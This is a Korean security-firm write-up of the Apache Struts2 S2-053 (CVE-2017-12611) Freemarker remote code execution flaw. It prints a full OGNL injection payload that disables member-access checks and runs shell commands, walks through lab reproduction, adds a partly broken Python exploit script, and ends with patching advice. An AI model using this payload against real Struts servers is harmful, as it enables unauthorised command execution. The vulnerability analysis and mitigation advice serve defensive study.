CVE-2017-12611 Apache Struts2 Possible Remote Code Execution via Freemarker tags(S2-053)
취약점 분석/2009년 이후 2017. 9. 15. 15:33daesun8292@a3security.com
TeamCR@K
황대선 선임컨설턴트
취약점 번호 : CVE-2017-12611(S2-503)
영향받는 버전 : Struts 2.0.1 - Structs2.3.33 , Struts 2.5 - Struts 2.5.10
영향받지 않는 버전 : Struts 2.5.12, Struts 2.3.32
개요
- Apache Struts2 에서 임의 코드 실행이 가능한 취약점이 발견
내용
- FreeMakrer 태그의 잘못된 구성으로 사용할 때 요청 값에 원격 코드 실행이 가능한 취약점
- 매개 변수에 Rewrite가 되도록 %{} 구문을 사용하여 전송하는 경우에 해당 구문이 실행됨.
Freemarker 란?
- 프리마커는 자바 서블릿을 위한 오픈소스 HTML 템플릿 엔진이다.
- 프리마커에서는 HTML을 템플릿으로 저장하는데 이들은 결국 템플릿객체로 컴파일 된다.
- 프리마커 객체들은 서블릿에서 제공하는 데이터들을 이용하여 HTML을 동적으로 생성한다.
Freemarker 구조
- FreeMarker는 표현의 결과물을 HTML(템플릿)로 관리하고 여기에 자바 객체를 연결하여 최종적인 결과를 만들어낸다.
[그림 1] Freemarker 구조
Poc
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream(),"GBK"))}
freemarker 취약점이 존재하는 환경 구성을 진행하였습니다.
[그림 2] freemarker 취약점이 존재하는 환경 구성
name 파라미터에 입력 후 value 값에 ${}로 출력하는 소스코드를 확인하였습니다.
[그림 3] freemarker취약점이 존재하는 소스코드 확인
웹 프록시를 이용하여 GET -> POST로 바꾼 후 name 파라미터 값에 %25{100-3} 삽입 시 결과 값으로 97이 출력되는 것을 확인하였습니다.
[그림 4] 취약점 테스트 확인
공격구문을 URL 인코딩 후 접근할 경우 RCE(Remote Command Execution)가 발생하는 것을 확인하였습니다.
[그림 5] RCE발생 확인
Python 소스코드
# -*- coding:utf-8 -*-
import sys
import requests
from urllib import quote
def exploit(url,cmd):
payload = "%{"
payload += "(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true))."
payload += "(#process=#p.start())."
payload += "(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}."
payload += "}"
data={
"name" : payload,
}
print(data)
if __name__ == "__main__":
if len(sys.argv)!= 3:
print "Usage S2-053.py <url> <cmd>" %(sys.argv[0])
sys.exit(0)
print "[*] exploit Apache Struts2 S2-053"
url = sys.argv[1]
cmd = sys.argv[2]
exploit(url, cmd)
[그림 6] 작성한 공격코드 실행
프록시를 통해 공격구문을 입력하여 접근 시, strace 를 통해 분석하였습니다. (요청 값 확인)
[그림 7] 요청 값 확인
[그림 8] /usr/bash 명령어 실행
[그림 9] /usr/sbin/ifconfig 명령어 실행
[그림 10] ifconfig 명령어 응답
대응 방안
- 취약점에 영향을 받지 않는 버전으로 업데이트 수행(Apache Struts 2.5.12, Apache Struts 2.3.34)
- 읽기만 가능한 속성을 이용하여 value 값 초기화(getter 속성에 한하여)
- freemarker 미사용